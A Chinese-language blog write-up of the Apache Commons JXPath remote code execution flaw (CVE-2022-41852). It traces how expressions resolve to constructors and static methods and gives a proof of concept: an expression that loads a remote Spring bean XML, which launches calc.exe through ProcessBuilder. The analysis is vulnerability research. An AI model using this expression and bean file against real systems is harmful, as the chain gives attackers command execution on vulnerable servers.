前言

看起来是个远古依赖,但是近期才曝出漏洞来。


环境搭建

新建项目,在maven仓库里找到相关依赖:

可以看到这是08年最后更新的项目,然而直接相关的漏洞甚至有CVE-2022-41852,下载依赖:

<!-- https://mvnrepository.com/artifact/commons-jxpath/commons-jxpath -->
<dependency>
    <groupId>commons-jxpath</groupId>
    <artifactId>commons-jxpath</artifactId>
    <version>1.3</version>
</dependency>

根据参考文章,该漏洞发生在使用JXPath执行恶意表达式时,测试用代码:

JXPathContext context = JXPathContext.newContext(null);
context.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:8080/bean.xml\")");

漏洞分析

运行测试用代码可以发现这个类ClassPathXmlApplicationContext并不存在于环境中,说明这种利用方式还需要一个别的依赖。

依赖暂且不提,先看看JXPathContext.getValue具体是个什么样的流程,根据流程发现输入的表达式被解析为了一次函数调用,找到PackageFunctions类的getFunction函数:

String className = fullName.substring(0, inx);
String methodName = fullName.substring(inx + 1);

Class functionClass;
try {
    functionClass = Class.forName(className);
}
catch (ClassNotFoundException ex) {
    throw new JXPathException(
        "Cannot invoke extension function "
            + (namespace != null ? namespace + ":" + name : name),
        ex);
}

加载类后调用函数:

if (methodName.equals("new")) {
    Constructor constructor =
        MethodLookupUtils.lookupConstructor(functionClass, parameters);
    if (constructor != null) {
        return new ConstructorFunction(constructor);
    }
}
else {
    Method method =
        MethodLookupUtils.lookupStaticMethod(
            functionClass,
            methodName,
            parameters);
    if (method != null) {
        return new MethodFunction(method);
    }
}

看到这里有调用构造函数和静态函数两种行为,所以Runtime和TemplatesImpl这些类就用不了了。同时由于这种调用链可控的只有输入参数,所以不容易找到合适的代码执行/命令执行点,想要利用最合适的还是找到RMI、JNDI等等可以从外面加载数据的方式。

Naming类下面倒是有一个静态的lookup函数可以调用:

ParsedNamingURL parsed = parseURL(name);
Registry registry = getRegistry(parsed);

if (parsed.name == null)
    return registry;
return registry.lookup(parsed.name);

看起来可以通过RMI完成利用。

漏洞利用

补充一个spring-context-support依赖:

<!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support -->
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-context-support</artifactId>
    <version>5.3.25</version>
</dependency>

放一个xml到tomcat目录下并启动:

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="twings" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>cmd.exe</value>
                <value>/c</value>
                <value>calc.exe</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

可以看到弹出了计算器,利用成功。

看一下ClassPathXmlApplicationContext类,这个类在实例化后会refresh并加载远程配置文件,再根据配置文件中的constructor-arg实例化主体对象,最后根据init-method调用初始化函数。

漏洞修复

好像没看到修复版本。


参考

Apache Commons JXPath 远程代码执行(CVE-2022-41852)


Web Java

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

CVE-2022-21724 PostgresQL JDBC Drive 任意代码执行漏洞
PHP GC垃圾回收与反序列化